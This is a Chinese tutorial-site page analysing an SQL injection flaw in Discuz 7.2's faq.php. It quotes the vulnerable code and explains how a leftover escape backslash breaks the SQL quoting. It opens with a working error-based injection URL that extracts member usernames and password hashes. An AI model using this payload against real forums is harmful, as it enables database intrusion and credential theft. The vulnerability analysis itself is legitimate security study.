Discuz7.2版的faq.php SQL注入漏洞分析


注入代码实例:

复制代码 代码如下:

http://www.phpstudy.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

复制代码 代码如下:

($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。



相关阅读:
NodeJS与HTML5相结合实现拖拽多个文件上传到服务器的实现方法
Cocos2d-x中实现弹出对话框示例
JavaScript函数柯里化详解
Android中的android:layout_weight使用详解
mysql 5.7.13 winx64安装配置方法图文教程
win10怎样设置和使用邮件应用?win10系统邮件应用设置和使用的方法
基于Android中的 AutoCompleteTextView实现自动填充
php显示指定目录下子目录的方法
在ASP.NET 2.0中操作数据之六十八:为DataTable添加额外的列
使用java处理字符串公式运算的方法
C语言实现输入一个字符串后打印出该字符串中字符的所有排列
win7系统安全无损调整分区大小的详细教程
Android应用中使用ViewPager和ViewPager指示器来制作Tab标签
Win7电脑菜单中的图标拖不到桌面怎么办 两种解决方法
快速导航
PHP MySQL HTML CSS JavaScript MSSQL AJAX .NET JSP Linux Mac ASP 服务器 SQL jQuery C# C++ java Android IOS oracle MongoDB SQLite wamp 交通频道 作文范文 真好作文 李白的七言诗 检察官面试自我介绍演讲稿 范文 故乡的牵挂 女人励志的短语 小兔还桃作文300字 寞月作文100字 元旦100字作文 令我开心的一天 流鼻涕的雪人作文200字 孙悟空三打白骨精 难道你忘了曾经的承诺 再见,合肥 送电影下乡活动总结 全县贯彻实施行政许可法工作会议上的主持词 心,在隐隐作痛,泪,在蠢蠢欲动 小石榴作文200字 2016放弃房产承诺书范文 XX中学创建文明卫生单位总结 时光改变了你我 预备党员2011年思想汇报 一生无忧发表日志:女儿的作文:难忘妈妈那句话 春芽作文100字 武汉,一个可爱的孩子 福娃跟我交朋友作文550字 画鼻子 胡梦冉作文500字 表示死的四字词语:撒手人寰 寂静的校园300字作文 给校长的一封建议书作文600字 心动只要一瞬间 心碎也只在一转眼间 车床实习体会 在你身后,有我作文700字 你也在这里的守候 2013年社区年末工作总结 什么是文学创作?(WhatisLiteraryWriting?) 入党思想汇报2013年9月:工人阶级是中国强有力的阶级基础 维也纳音乐之旅 五月,梦见花开 人生三宝:丑妻、薄地、破棉袄! 记住该记住的,忘记该忘记的 2016思想汇报12月例文:寻找生命的位置 2016辞职报告模板范文 [图文]老爸的营业厅开业了 红花草(乡村记忆之四) 培养学生高尚的审美情趣 2015团总支书记工作总结 那年那月,那怀念 为什么还是放不下 暑假的周末 有个城管,想和这个世界谈谈

Copyright © 2016 phpStudy |